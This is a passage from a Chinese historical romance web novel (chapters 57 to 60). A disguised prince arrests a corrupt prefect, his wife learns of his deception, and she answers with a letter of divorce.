语气是藏不住的难过悲痛。 “大人若要彻查,”秦知期一揖到底,字字恳切,“还请带上我。” 沈昭予起身,冷笑了声,“你怎知道,我正打算今日去拿人。” 心情不好,自然要把火气都撒在罪魁祸首身上。 男人走路生风,气势汹汹,看着不像去依法抓人,倒像是去砸场子。 秦知期:“……” 秦知期到底是个文人,虽会骑马,但脚力与耐力都差太远。 他拼了命才追上沈昭予,等跟着他到一处废弃宅子时,人几乎去了半条命。 把马栓到树上,手撑着树,上气不接下气地咳了半晌。 好不容易喘匀气,便见宅门里呼啦啦涌出来一帮人。 为首的那位凶神恶煞,面似冰块,笔直如剑,步履成风。 一个又一个生面孔打他面前过,目不斜视,就像没瞧见他这个大活人似得。 秦知期脑袋里一片空白,等看到队伍最末一位,猛地一激灵! 末尾的一位,竟然是江行! 秦知期顿时瞪大眼睛,惊得声音都卡在喉咙里。 此“江行”不像他认识的那个人。 记忆里的江行,活泼生动,豪气万丈,是个意气风发的少年郎。 眼前的年轻人虽长着同样一张脸,可面上是从未见过的肃杀与冰冷,身上裹着浓重的杀气,让人望之生畏。 擦肩而过时,江行二号歪过头,冲秦知期眨眨眼。 秦知期:“……” 好像真是同一个人。 天呐。 未等秦知期回神,沈昭予打里头慢悠悠走了出来。 “秦大管家,走吧,带你去报仇。” 说完人腾空一跃,不见踪影。 秦知期:!! “来了!” ** 从废弃旧宅到刺史府,秦知期用了一个时辰。 而沈昭予将人制住,再抄家,只用半个时辰不到。 他只带十几个手下,就将刺史府上上下下百口人都控制住。 “没等来杀手报喜,可是忧心得寝食难安?” 把人抓起来,沈昭予还要言语凌辱。 “你不是要见我吗?我亲自来了,看见没有,还好好的,心放肚子里吧。” 刘荣元年近五十,在越州任刺史已有六年。按照本朝惯例,明年刘荣元就该从越州调任离开,他若不在任上再多捞一些,往后只怕难有这么好的机会。 他这些年势力渐大,做起事来早不知“顾忌”为何,做事动静大,手脚不利落,沈昭予要抓他的把柄简直易如反掌。 沈昭予叫人搬来一把椅子,大喇喇坐在院子正中,稍稍招手,便有两名黑衣护卫压着人到他近前。 刘荣元被人按着跪到在男人身边,目眦欲裂:“本官可是一州刺史!你是何人?!竟敢私闯朝廷命官的府邸?!” 朝廷命官,是指要百姓性命的官吗? 沈昭予轻轻笑了,“好大的胆子,在我面前,也敢自称本官。” 一名护卫从腰间扯下块令牌,抓着刘荣元的头发令其仰头。 刘荣元看清令牌上头的字,“大、大理寺?!你……你是……” 刘荣元冷汗直冒,眼睛瞪得凸起,“你是谢小侯爷?!” 侯爷?! 一旁的秦知期蓦地扭头,目光错愕。 沈昭予懒洋洋地笑道:“一块大理寺的腰牌,能叫你读出这么多信息。怎么,是我这块,与旁人的不同吗?” 他前倾身子,肘搭在膝上,低声笑道:“还是说,谢小侯爷初来越州,于城外杀了人,婺州那个叫史敬的与你通过气?” 院子里顿时死一样寂静。 “刘大人,不要看到大理寺三个字就慌了神,没准,我这块是假的呢?” 就算牌子是假的,人也不会是假的。 大理寺派人去杭州追查杀人案,杭州有难,越州与婺州自然不会坐视不理。 婺州派赵知庄在城外拦截,反被人杀。 刘荣元在城内外搜索一月有余,都没找到蛛丝马迹,可见来者实力不俗,且行事风格捉摸不定,大理寺中唯有谢徽谢小侯爷最为符合。 此人有手段掌握他的罪证,又有训练有素的部下,能在他眼皮子底下浑水摸鱼,年纪也对得上,不是谢徽本人还能是谁?! 刘荣元目光淬了毒一般,咬牙道:“就算是大理寺的主官,没有陛下的旨意,也不能罢我的官抄我的家!我要写奏折参你!” 沈昭予无所谓地摆摆手,“参啊,使劲参,千万别留情。” “你大理寺要查的是杭州的案子,不是来查本官的!” “谢徽!你越权执法!你没资格抓本官!” “你们要作甚?!放开本官!!” 刘家老少的哭喊声与刘荣元的咒骂声皆被沈昭予抛到身后。 他冷着脸往外走。 出刘府大门,他回身望向这座金碧辉煌的府邸。 半晌,沈昭予长叹一声:“朱门酒肉臭,路有冻死骨。” 江行正要上前禀事,余光瞥见跟出来的秦管家,犹豫片刻,到底将“殿下”的称呼免去,只道: “主子,刘家上下皆被控制,可他是否留有后手,不好说。消息封锁不了太久,婺州与杭州就能听到风声,咱们得速战速决。” 该离开了。 若按照原来的计划,收网之日,就是他离开宋家、离开越州北上之时,他无需与任何人解释,更不需要为谁负责。 可如今…… 他至今都未想好要如何面对宋星糖。 江行替他开脱道:“抓人的事耽误不得,也是巧了他直接撞到咱们手里,机会稍纵即逝,不怪您,您也是为了大局着想。” 沈昭予抬了下手,示意他不必再劝。 “派人押刘荣元回京,魏吉留下善后,你跟着本……”沈昭予顿了顿,“跟我回府。” “是!” 众部下各司其职,片刻功夫,刘府外只剩下三个人。 沈昭予抬眸,与秦知期对上 视线。 秦知期道:“您是小侯爷?” 沈昭予苦笑道:“我是谁,重要吗?” 秦知期想了想,摇头,“不重要,反正都是一样的。” 都不是“赵鱼”。 沈昭予仰头望向天空,知道自己到了必须开口的时刻。 回程路上,江行凑到秦知期身边,眼睛有一下没一下地瞟着,见对方看来,他愧疚地道: “大管家,实在抱歉骗了你。实在是兹事体大,成千上万条人命都系于主子一身,不敢有丝毫疏漏,不得已,才隐瞒身份。” 秦知期已经想通了这一连串针对他的圈套,说实话,不生气是假的,可一想到马车里那位即将面对的场面,自己倒也不怎么委屈。 毕竟这两位骗子都是自己同意进的门,也确实帮了他不少。 秦知期道:“你要对不起的人不是我,是大小姐。” 话音落,马车中的温度似又降了几分。 一行人回到霜星院。 沈昭予察觉到气氛不同寻常,蓦地驻足,目光陡然凌厉。 他抬眼,直直望向前方。 视野中,宋妤娇缓步从屋里走出来。 秦知期皱眉,“二小姐?” 宋妤娇嘴角噙着笑,袅袅婷婷,到众人跟前。 她淡淡笑着,垂下眼睛,福身行礼。 “民女,参见大人。” 秦知期一惊,“你说什么!” 宋妤娇抬眸,笑意盈盈,“你们日日在一处,竟不知?眼前这位,可是京城来的,小侯爷呀。” 小侯爷三个字一出,男人周身气势骤然全开。 宋妤娇心肝一颤,胆怯地缩了下身子。 秦知期急道:“你从哪儿听来的话?你——” 沈昭予打断道:“这话,你同她说了?” 宋妤娇不必回答。 因为宋星糖下一刻出现在门口。 她似乎才受了一场委屈,眼睛红红的。 听到声音,从屋里走出。 院里这么多人,可那一双杏眸中,只倒映出一个人的影子。 她拎起裙子,直直朝他飞奔。 恍惚间,沈昭予想起自己才到宋家,到她面前时,她也是这样朝他跑来。 后来的许多日子里,她也总这样奔向他。 宋星糖如往常一样撞到他怀里,仰起头,委屈道:“宋妤娇说,你的名字是假的,身份是假的?” 沈昭予张了张嘴,半晌才找到自己的声音。 “……嗯。” 她眼圈又红几分,揪着他的衣领,声音发颤:“你是京城来的大官,来查案的?” 沈昭予心底一慌,害怕地收紧手臂,“是。” “你来宋家,接近我,也是为了查案?” “……抱歉。” 半晌。 “你骗我,”她怔怔望着他英俊的脸庞,慢慢松开手,将他推开,低声道,“一直在骗我。” 就说嘛,怎么会有人真的喜欢她,愿意留在她身边呢。 正常人,都该嫌弃她蠢笨的,怎么他一说好话,她就信了? 宋妤娇说得不错,她果然很笨,被人卖了还要替人数钱。 怎么回事,心这样痛。 她素来不知道难过,最起码,不会立刻就品尝到伤心的滋味。 为何眼泪忽然流出来,怎么擦都擦不完了? 宋星糖抬袖遮脸,扭头往回跑。 沈昭予缓缓收回落空的手臂。 他还未找到坦白的机会。 就再也不用找了。 第58章 第58章【一更】“照顾好夫人。…… 【58】 院里鸦雀无声。 还是江行最先弄出动静,他“哎哟”一声,冲到主子跟前,急得跳脚,“你你你快去哄啊!!” 沈昭予心被她的眼泪割成一片一片,像根木头似得杵在原地,默默神伤。 江行急得抓耳挠腮,恨铁不成钢道:“当初说不后悔的是您自己,到关键时候,不去解释两句吗?长嘴干什么使得!光会骂人不会哄人?” 这要是青鸾生他的气,他宁愿跪下抱着青鸾的腿求她原谅。 女孩子嘛,心都软,哭一哭求一求就好了。 但考虑到他家主子的身份,跪下哭肯定是不可能了。 但是追上去解释总能做到吧!! 要不是怕挨打,江行此刻就抬腿把他踹出去了! 沈昭予沉默着,忽然冷冷看宋妤娇一眼。 “诈我?” 宋妤娇被人看穿,从骨子里往外渗冷意,“我不知大人在说什么。” “连刘荣元都不知我的身份名字,你如何得知?” “我——” “我本打算为她积些功德,为二房留有一线生机,是你自己不要。” 宋妤娇脸色一白,“原来你没打算将我和我哥……” 沈昭予一抬手,打房上飞下来一暗卫。他一语未发,暗卫便将人拖了下去。 男人眉宇间皆是阴霾,冷声道:“传令下去,今日起宋府闭门谢客,一只苍蝇也不许放出去。” 江行抱拳领命,瞬息间消失了踪影。 秦知期百思不解,喃喃自语:“二小姐怎么会知道?” 沈昭予没理会,抬腿去追人。 房门未锁,推开时,沈昭予看到屋里守着的妙荷与青鸾。 见男人进门,青鸾面色复杂,妙荷却冲他翻了个白眼。 沈昭予没强令她们离开,阔步直入内间。 李嬷嬷正陪坐在榻前,低声安慰着。 “二小姐心怀不轨,姑娘切莫着了她的道,伤咱们自己人的和气。” 宋星糖脑袋闷在被子里,“可是他都承认了。” 李嬷嬷一噎,偏头对上男人的视线,无奈叹了声。 在对方的示意下,李嬷嬷只当屋里没旁人。 她假装不经意间透露道:“你瞧瞧二姑娘都说的什么话?她一来就说姑爷身份作假,是在骗你,说他虚情假意,皆是利用,姑娘关心则乱,可不就被她的话头给带走了?” “她先挑拨一通,说尽坏话,又问姑娘,他是否受过伤,哪日城外初遇云云,她问了一通,显然是自己也没把握,并无实据,皆是猜测而已。” “二爷那段时日帮州府寻人,寻一个三月末来到越州、又受伤的人,她便大胆猜测,姑爷身份有疑,四处探查,还真叫她问出个大理寺小侯爷的名号来,这没头没尾的,也亏她能想到一处去!” 宋星糖呜咽两声,露在外头的屁股委屈地拱了拱,“所以说么,宋妤娇聪明,我笨。她能察觉出异样,我却只能帮人数钱。” 沈昭予听不得她这么说,正要上前,李嬷嬷拦了他一下,摇头制止。 李嬷嬷拍了拍女孩,问道:“真要叫二小姐称心如意,与他离心?” 宋星糖不吭声。 单看被子下那具身体扭动的频率来看,显然更加不情愿。 “二小姐说了那么多,目的无非就是两个。一,让你们离心,搅黄姑爷正在做的事。二,救二房,维持她作为宋氏二小姐的体面。这一达到了,二自然也有了。” 李嬷嬷看向沈昭予,“姑爷先前提过两嘴,说要分家,想来是这个讯号刺激到二小姐,再加上二爷一定对她提过什么,才叫她如一只惊弓之鸟,以为自己的好日子到头,这才狗急跳墙,孤注一掷。” “她若真是个良善之人,就不该用你来要挟他,而是亲自做些什么,来换取想要的东西。” 不管李嬷嬷说什么,宋星糖都听不进去,始终都念叨着: “他怎么能骗我呢,我那么喜欢他。” “原来他从京城来,”宋星糖难过的时候,也不忘夸人,“难怪他什么都会,会说话会办事会抓贼,会做生意会讲故事会教我功课,会驯马会救我还能未卜先知,原来他是大官,难怪那么厉害,样样都出色。” 她吸了吸鼻涕,委屈道:“他好厉害好聪明哦。” 众人:“……” 李嬷嬷哭笑不得,“知道姑娘喜欢他,那… …原谅他了?” 宋星糖在这事上十分执着,斩钉截铁:“他骗我,不原谅他。” 外间的妙荷听闻,小声应和:“就是,不能原谅!” 青鸾扶额叹气。 李嬷嬷年岁大,不像年轻人那般是非黑白分得清清楚楚,她能看到这里头掺杂了复杂的政局,也能猜到“赵鱼”之所以会用假身份,大抵是时局所迫。 道理上,她很理解。可情感角度讲,李嬷嬷也不想原谅他。 “哦对了,”李嬷嬷面露难色,难以启齿,“姑娘……你们成婚那么久,怎么还未又圆房啊?” 沈昭予蓦地看向李嬷嬷。 宋星糖哪还管得上什么圆房不圆房,只道:“我哪知道,鱼鱼没教过我。呜呜,他不叫赵鱼,他骗我的……” 李嬷嬷老脸通红,只能连声叹气,低着头自言自语: “真没想到二小姐嘴巴这样毒,竟然说小侯爷在京中早有婚配,说姑娘你以后就算跟着去了,也只能做个外室,还说就算有了孩子,也是上不台面的私生子,劝姑娘早日看透负心人的本来面目,不要再为虎作伥。” “要不是提到孩子,我们也不知道,你们竟然从未……” 沈昭予一双拳头捏得吱吱作响。 他过了段舒心日子,变得太仁慈。对二房的宽纵,竟然叫二房以为他柔善可欺,让他们把主意打到她的身上。 虽然骗了她,他自己不可饶恕。 可二房也别想好了。 沈昭予上前一步,将人从被子里抖落出来,而后手从她身下穿过,将人打横抱到怀里,阔步往外走。 穿过堂屋,入到耳房,旋身将门踢上,抱到暖榻前,将人放下。 从始至终,宋星糖都乖乖窝在他怀里,连一声都没出。 正是这样乖巧的模样,才叫沈昭予不安。 她看向他的目光里,没了快乐与依恋。 尽是让人心碎的委屈。 她说:“我不想做小妾。” 沈昭予鼻尖一酸,眼尾竟也泛起红来,他俯低头颅,将额头与她的相贴。 幽深的目光暗潮涌动,心底是翻滚的苦涩。 他轻声道:“我从未有过婚配,也没同旁人议亲,心里没有别人,只你一人。” “可是你骗我呜呜。” “都是我的错,真的很抱歉。” 沈昭予不屑为自己找借口开脱,瞒就是瞒了,骗就是骗了。 谁叫他爱上了她,这些指责都是应受的。 “你是不是觉得我笨,所以才骗我?”宋星糖顿了顿,又道,“我以为你和旁人不一样,以为你不嫌我。” 在他心里,究竟是怎样想她的呢? 哪怕心里委屈,她也没有对他发脾气,只是软软地靠在他怀里,控诉心里的不平。 沈昭予无言以对,因为她说的,确是事实。 他起初的确认为,宋氏大小姐懵懂愚笨好糊弄,在她身边,最能遮掩身份。 可不知从何时起,他眼里就只剩下一份懵懂可爱,再看不见其他。 一切都是他咎由自取。 沈昭予终于尝到了自作孽的滋味。 “这话没有骗你,在我心里,糖儿很聪明。” 若在往常,宋星糖听到这句话,不说一蹦三尺高,也要乐上半晌。 可今日,她却不见喜色,染了水意的瞳直勾勾将他望着。 许久,她缓缓摇头。 “我很笨,不知哪句话为真。” 沈昭予倏地失声,表情颓丧。 他到底还是失去了她的信任。 “你……是宋妤娇口中的那位小侯爷吗?” 沈昭予沉默不语,眼底闪过挣扎。 依理智而言,他该应下。毕竟越州的事虽暂告一段落,可真正的战场是在杭州。他人还未到杭州,未免徒生变故,继续用谢徽的名号是最稳妥的。 杀人案小,贪腐案大,为了能将这一条线上的蝗虫都一网打尽,他务必慎之又慎。 可…… 直觉告诉他,不能再骗她了。 就在沈昭予天人交战,左右为难时,忽又听宋星糖说道: “为难的话,就不必说了,我已经知道答案。” 他不叫赵鱼,应该也不是那个什么小侯爷。 他既更名易姓,一定代表着他的真实身份不可轻易暴露。 他是京城来的大官,所查的必定不是小案子。 牵一发而动全身,不用他说,她也知道。如今波折未平,他的假身份恐怕还要维持一段时日,在这个节骨眼上,宋星糖不想给他平添麻烦。 而且,他究竟叫什么,真的还重要吗?毕竟…… 宋星糖背过身,垂着脑袋,轻声道: “与我成亲的人叫赵鱼,你已经不是了。” “你去办事吧,别耽误了。” 被她预料到一般,话音刚落,房门就被人敲响。 “主子。” 是江行的声音。 沈昭予只得去开门。 宋星糖耳朵一动,听到江行压低声道:“杭州有变,李林书跑了。” 李林书乃杭州刺史幼子,是大理寺调查杀人案的首要嫌犯。 沈昭予在心里怒骂谢徽不靠谱,人犯都能跑! 李林书一跑,大理寺势必会追。此时绝不可能还有“谢小侯爷”入杭州。 要借谢徽的名头入杭的计划,行不通了。 “咱们得加快动作。”江行道,“何时动身?” 沈昭予没有犹豫,“现在。” 他说完便把门关上,也不等江行话说完没有。 快步折返,走到宋星糖跟前,弯腰。 果然看到她在默默流泪。 沈昭予心疼坏了,半跪在她身前,俯身去抱她,又双手捧着她的脸,为她擦泪。 他心慌意乱,手足无措,“别哭,别哭。” 宋星糖茫然抬眸:“我没想哭,眼睛有它自己的想法。” 说着,眼泪扑簌簌的,止不住地往下滚。 沈昭予再难忍耐,低头吻上去。 很轻的吻,用尽了他的温柔。 宋星糖瞪大眼睛,一颗心跳得厉害。 心脏一会酸涩,一会又甜蜜,各种情绪纷繁复杂,变幻莫测,她根本分辨不出都是什么。 只能任由他亲吻,任由他牢牢抱着自己。 他在她耳边恳求:“我走了以后,不要自己偷偷哭,若难过,就给我写信骂我,好不好?” “写信,你能收到吗?” “能,你把信交给青鸾。” “……好哦。” 他没有说他何时回来,还会不会回来。 她也忘了问。 如每个清晨外出办公一样,只是普通地离开。 什么都没带走。 出门时,听到他对青鸾说—— “照顾好夫人。” 是夫人,不是大小姐。 原来青鸾也是他的人。 人走了,宋星糖果然没有再哭。 她推开窗子,跪在榻上,望了外头许久。 直到再看不见人影,她才缩回去,抱住膝盖,喃喃自语: “我还不知道他叫什么呢。” 第59章 第59章【二更】“她竟敢休了本…… 【59】 江行骑在马上,紧随主后,“陛下拨给您的人手早到了杭州,只是人并不够用,可要调些咱们自己的人过来?” 沈昭予冷声道:“杀鸡焉用牛刀?先将贼首擒住,剩下的再慢慢清算。” “李和衷让他儿子逃跑,是想把大理寺的目光引走,继而专心寻找您的下落,咱们得防着暗处的冷箭。” “本王不会再一个坑里栽两次跟头。” “越州的事很快就传到其余几州耳朵里,虽然别人以为是谢小侯爷多管闲事,仗势行权,可……应该瞒不过朝廷派来的新钦差,他知道您在,肯定要找您。” 沈昭予眸光微冷,道出一个人名:“沈云琅。” “殿下,属下怀疑,把您的行踪暴露给江南诸州的,正是三皇子。” 只可惜沈昭予吃过一次亏以后,就潜伏下来,叫沈云琅再寻不到踪迹了。 “沈云琅还是没放弃要杀了本 王的念头。”沈昭予可惜道,“他这点野心太明显,被人当了枪使都没察觉,实在是太笨。这个世上的蠢人怎么这般多。” 江行嘴欠道:“别人是蠢人,大小姐是笨蛋,前者听着就更笨一些。” 沈昭予目光幽幽,“莫要开她的玩笑。” 沉默了会,又道:“她不笨,再叫我听到,便下去领罚。” 说罢一夹马肚,加快速度走了。 江行:“……哦。” 还护上短了。 沈昭予专心去处理公事,霜星院气氛诡异非常。 宋星糖把自己关在书房里,谁也不叫进。 妙荷守在门口,青鸾则站在书房的窗户外头,预备着一旦听到动静,就冲进去。 院子里几个小丫鬟聚在一起说闲话。 有人暗里对青鸾指指点点,“她竟然也是那位的人……难怪会武呢。” “她不是说从王府出来的?因为发不起月钱。还有那位江护卫,不是浪迹天涯的侠客吗?” “都是假的你还真信啦?”有小丫鬟嘀咕道,“人家主仆都是为了公务,才屈居在咱们府上,勉为其难地同咱们共事,你还真拿人家当自己人?” 说了会青鸾,又议论起离开的那位。 沈昭予还在时,将府内上下打理得井井有条,他较秦知期而言铁血手腕、治家严厉,但好在奖惩有度,是个讲理的人,所以底下人就算忌惮害怕他,也对他没什么怨言。 小丫鬟们都是最爱玩爱说的年纪,在沈昭予的“压迫”下憋了好一阵子,好不容易人不在,再难抑制爱聊天的本性。 “姑爷竟是个大人物,怪道一举一动皆与咱们平日接触的人不同呢。” “听说是位小侯爷,身份尊贵,哪是咱们这小地方的人能高攀得起的?” “高攀……那,那咱们姑娘怎么办啊?” 巧杏叹了声,“他一个皇亲国戚,婚事能自己做主吗?就算和咱们姑娘成了婚,皇帝一个不高兴,还不是说拆散就拆散了?” 众人皆不言语,心里替宋星糖难过。 李嬷嬷拎着扫帚把聚众聊天的小丫鬟都扫走,骂了声:“姑爷不在家,一个个皮都松了!” 她走到廊下,看了青鸾一眼。 从前未发觉,青鸾的站姿如此板正挺拔,跟一根寒冬里傲立的松柏似得。 李嬷嬷摇摇头,进了堂屋。 午膳时,秦知期抽空来看望宋星糖。 如今越州的父母官被秘密押送进京,对外宣称是重病谢客,来访者皆被挡在府外,只一日功夫,越州上下嗅觉敏锐的人都察觉到了不对。 群龙无首,底下皆乱了套,有趁乱跑的,被留守在越州善后的魏吉抓了正着。有四处探听消息,局势未明不敢擅动的。 整个越州城鹤唳风声,连周氏等一众与刺史府有过往来的富商乡绅都安分下来,唯恐暗中的火烧到自己身上。 秦知期也接待了其中的好几家,甚至监当官齐大人也找上了门。 不知那些人是从哪听到的“赵鱼”是朝廷派来的钦差,来查案的。 外头的热闹都被秦知期好好地挡在府门外,没有让风言风语传到宋星糖的耳朵里。 秦知期见到了她,她看上去状态尚可,只是眼尾微微泛红,想来是分别之时哭过的缘故。 秦知期安慰了两句,宋星糖却提出一个请求: “秦大哥,若你不忙,能否带我去看看凌风?” 沈昭予走时,什么都没带走,包括这一匹已经认主的、她送给他的马。 秦知期带她去了,担忧道:“大小姐,马儿性烈,远远看着就好。” 宋星糖摇摇头,将一众人留在原地,自己毅然决然地走了过去。 凌风原本正在吃草,见人来,头都没抬,继续嚼。 宋星糖就站在旁边,看着它吃。 等到马儿吃完,她才靠近一步。 众人的心顿时提到嗓子眼,可谁也不敢出声,生怕惊了马,伤着人。 妙荷原本正在和青鸾冷战,见状也再忍不住凑过去问她,“你主子离开时,有没有留人保护她?” 青鸾面无表情,目光紧盯着宋星糖,手指了指自己。 “你行吗?” 妙荷怀疑的目光上下打量。 青鸾转过头,对她自信地一挑眉,似乎在说,我强着呢。 妙荷:“……若叫姑娘受伤,绝饶不了你!” “你放心,她掉一根头发,我家主子都得把我皮剥了。” 妙荷:“……” 确实是她家姑爷能干出的事来。 这一来一回,关系稍有和缓。 那边宋星糖已经冲马儿伸手,学着沈昭予的样子,将掌心贴到马脖子上。 凌风只原地跺了跺蹄,没有反抗。 她又大着胆子,学着沈昭予的样子,将额头也贴了过去。 凌风往后躲了一下,被宋星糖一把抓住缰绳。 它躲,她追。 它闪,她贴。 可不知是马儿性灵,知道她是谁,还是她身上沾有“主人”的味道,凌风始终没有伤害她。 终于在宋星糖坚持不懈的追击下,凌风认了命,将头伸出去,给她贴。 她背对着众人,将脸藏在阴影里。 只让凌风能感受到,她脸上的那抹潮湿。 ** 日子照常过,一晃又过去半个月,每一日都很平静。 宋星糖每日照常读书,看马,发呆。 这些天里,只有“赵鱼”离开的第二天,问过青鸾一句: “能否告诉我,他叫什么名字?” 青鸾没得到主子的令,不敢说,只能摇头。 那之后宋星糖就再也没提过赵鱼这个人。 她没有表现出很难过,只是较之从前,稍微没有那么开朗活泼。 状态仿佛回到遇到赵鱼之前,被二房欺压得喘不过气的那段日子。 明明才过去没多久,可霜星院的众人皆不适应她的改变。 每个白天,宋星糖都捧着九章算术,艰难地学。 不会的地方,也不好意思去烦扰秦知期,便在一张纸上誊写自己遇到的困难。 写出来,也不知能给谁看,向谁请教,每逢此时,她就合上书,趴在桌上,眼睛直勾勾地望着桌上摆着的夜明珠,不知在想谁。 到了夜间该睡觉时,她抱着夜明珠钻进被窝。 青鸾守在外间的暖阁里,宋星糖就把夜明珠放在沈昭予原来躺的位置上,再给夜明珠盖上被子。 烛火熄灭,她伸出小手,蹭到另一个被窝里,一下一下地摸夜明珠。 夜明珠是冷的,光滑的,不会说话的。 不像他,浑身似火炉一般暖,手上带着茧子,她一摸,他的呼吸声就会加重,还会笑着反握住她。 不能再想了。 宋星糖缩回手,翻身向里,蜷成一团,沉沉睡去。 ** 转日清晨,杭州刺史府。 李家查抄了一夜,沈昭予自始至终都没有露面。 他站在阖府的最高点,眉眼冷淡地注视着底下如蝼蚁般来来往往的人。 江行感受到男人周身的冷意,战战兢兢道:“殿下,三皇子带着陛下的旨意,抢了您的功……” “无妨,本王本来也没打算亲自善后。” 得罪人的烂摊子谁愿意收?也就沈云琅那个笨蛋当个宝。 江行道:“三皇子以为您早来了杭州,路上紧赶慢赶,就想赶在您前头立功,现在肯定得意坏了。” 谁能想到,受伤的怀王非但没有带伤前行,反而留在越州美滋滋地过上了小日子。 “可惜还是蠢,本王就站在他头上,他都看不到。” 沈昭予抬脚,随意踢起一块瓦片。 那瓦片倏地朝人群中飞去,噼啪一声巨响,砸在地上。 沈云琅警惕地抬头望来,没看到任何人的踪影。 沈昭予带着江行早已离开,远远的,江 行听到三皇子问:“还没有怀王的下落吗?” “……” “殿下,您早知贪腐案与朝中脱不开干系?二皇子他……” 江行话未说完,沈昭予冷声道:“老二的把柄不好抓,好在这次江南一行有所收获。把消息透一点给老三。” 狗咬狗,才有意思呢。 庆仁帝温和软弱,几个儿子倒各有野心,和沈昭予暗中斗得你死我活。 来的这位三皇子是唯一的嫡出,性子与沈昭予最像,张扬高傲,目空一切。 江行远远地望了三皇子一眼,观其一举一动,都能看到沈昭予曾经的影子,感慨道:“他像是比照着您的样子长大的。” “画虎不成反类犬,一个拙劣的模仿品罢了。” 回到落脚处,有暗卫来禀报说,杭州之事皆由三皇子接手,下一步便是婺州,听说三皇子以杭州刺史的名义请婺州官员赴宴,人已经在路上,那些人注定要有来无回。 沈昭予不甚关怀。 这些事在沈云琅踏进杭州时起,便不再归他管了。 江行不甘心道:“陛下真是好盘算,让您为三皇子铺路。” 沈昭予却不以为意,“本王还需这点功劳傍身?” “您自然不用……” “大家最近辛苦,该发放的奖赏本王不会忘。” 江行急了,“属下不是这个意思——” 沈昭予摇摇头,叹道:“本王若现身,麻烦太大。” 江南诸州盯着要他命的人太多,现在又来了个难缠的小鬼沈云琅。 沈昭予道:“本王这些年得罪了太多的人。” 江行:“……您知道就好。” “所以才要更加小心,不能让人伤了她。” 江行反应半晌,才明白这个“她”是谁,不可置信道:“您决定把宋家大小姐带回京城吗?” 否则以沈昭予狂妄自负的性子,就算暗中有再多的眼睛盯着,他也不屑一顾,更别说忌惮了。 因为有了软肋,所以才要慎之又慎,连行事都收敛许多,全然不似从前一般随心所欲,喜欢迎难而上。 提到心上人,沈昭予面容柔和下来,轻声道:“本王也想带她走,只怕她不愿。” 十五个日日夜夜,无一刻不再想她。 沈昭予从不知道,自己竟也有这么一日,会对一个女子魂牵梦萦,寝食难安。 他实在难以忍受和她分开的日子。 她若实在不愿,那他只能强行将她带走。为了她的安危,他也不放心将她留在这。 江行在一旁看着,眼睁睁看着男人周身的冷意渐褪,取而代之是无尽的柔情,再后来不知他想到什么,眼底漫出强势来,瞧着就十分危险。 江行不禁打了个哆嗦,默默远离两步。 院中无声落下一人,主仆二人皆蓦地看去。 只见青鸾行色匆匆,走到近前,抱拳跪地:“殿下。” 沈昭予眼底瞬间迸发出光来,急忙道:“她写信给我了吗?” 等了半个月,终于等来了。再不来,他都要回去了。 青鸾不语,从怀中掏出一封信奉上去。 沈昭予接过信,迫不及待地拆开看。 倒是江行奇怪地看了一眼青鸾。 信交上,一眨眼,就见青鸾忙不迭地后退,仿佛有野兽追着她的脚尖咬似得。 一会儿的功夫,青鸾已经退至墙角。 江行不解,跑那么远作甚? 沈昭予面带微笑展信,目光落在开头,视线一凝。 他缓缓敛笑,用力揉了揉眼睛。再看,表情彻底僵住。 沉默片刻,将信按照原来的折痕叠好,又塞回信封里。 闭上眼睛,足足半晌,才再睁开。 重复启信的动作,再次展信阅读。 江行:? 只见男人目光死死地钉在信上,那目光里有震惊、有荒谬、有恼怒、有痛心。 江行:?? 旺盛的好奇心驱使着他凑上去,试探道:“殿下,信里写了什么?” 沈昭予眼里冒火,头顶喷气,像是手上沾了脏东西一般,一下将信甩开。 薄薄的纸飘飘忽忽,在空中飞舞,江行伸手抓住。 喃喃念出顶头的两个大字—— “休书。” 江行顿了顿,音调瞬间拔高,“休书?!!” 沈昭予眼前一阵阵发黑,“她竟敢!” 他手扶着门框,气得直哆嗦,一字一顿,咬牙切齿: “她竟敢休了本王!!” 第60章 第60章“不可以亲亲哦。”…… 【60】 “我读故事书,里头讲书生进京赶考,高中状元飞黄腾达以后抛妻弃子,后来女子郁郁而终,化作厉鬼上京寻仇。可见当有一方注定要远行,并且身份地位不再匹配之时,终究不能落得善果。我不想化作厉鬼,我还要守着阿娘的基业。” “所以?” “所以我要将他休了。” 平地一声雷,在霜星院中炸响。 “休了?!!” 一大早,还不到辰时,宋星糖就醒了。 她连衣裳都没换,披着一件宽大的男子外袍到书房,一边抹眼泪,一边磕磕绊绊地写下一封休书。 写得太难过,就捞起沈昭予的一条袖子擦眼睛。嗅到残留的熟悉味道,心里生出贪恋,没忍住在上头蹭了蹭。 拢共没有几个字,她写了好半天。 写完把亲近的人都叫到近前,向她们宣告自己这一决定。 宋星糖偷偷哭完,到人前就不会再表现出难过。 她平静道:“曾经他是无家可归的赵鱼,而我是一无是处的笨蛋,我们正好相配。如今不同,他身上有沉重的担子,我遇到的困难与他的事比起来,简直微不足道,他不属于这里,我也不能自私地将他留下。况且……他应该也不会为我驻足。” 就比如这次,他有必须要离开的理由,她连那句“你不是说会一直陪着我吗”的质问都说不出口。 这些天她听了一些话,也明白,“赵鱼”是去抓贪官,他做的是造福百姓的事。 她就更没有脸去要求他留下了。 旁人一听还没反应,倒是青鸾险些给她跪下,苦苦哀求:“大小姐!您再考虑一下啊!主子他会回来的,等他回来,有何不满都对他发泄就是了!” 宋星糖叹了口气,语气沉重:“他不该被我这样的人拖累,我也不想去到一个人人都很厉害的地方,再被人说笨了,所以,我一定要休了他。” 她自小未离开过越州,对外面的世界虽期待向往,却也畏惧胆怯。 她脑子笨,在自己熟悉的地方尚且活得艰难,更何况是京城呢? 在宋星糖的印象里,京城满地都是权贵,都是厉害的人,不是她这样的人能待的。 京城,很适合他,却不是她的安身之所。 “再说,我不只为了自己。为了爹娘,也不能离开。” 她要守着阿娘的基业,守着阿娘的坟冢,等着爹爹回来。 宋星糖把自己缩成一团,眼中无神,喃喃道:“离开他,或许很不适应,但于他还是于我,应当都是利大于弊吧?” 青鸾说不出话来反驳,她觉得宋星糖的话有些道理,她也不知道在自家主子心里,大业与女人哪个占比更多。 若要她私心猜测,那必然是事业更重要。在越州行之前,沈昭予心里全都是事业,一点“情”的部分都没有,总不至于在此待了一个多月,就脱胎换骨,成了个情圣吧? 妙荷 在一边干着急,反复重复着“怎么能休了姑爷呢”。 所有人都既惊讶又好奇,素来嘴笨心钝的宋家大小姐,为何忽然能一口气说出这么多看似有理有据的话来。 他们不知道,在沈昭予耐心十足又有条理的引导下,宋星糖已经可以很准确地表达自己心中所想,她心里明白了许多道理,再不似从前那样不开窍。 在众人未曾关注她的时光里,宋星糖飞速地成长着。 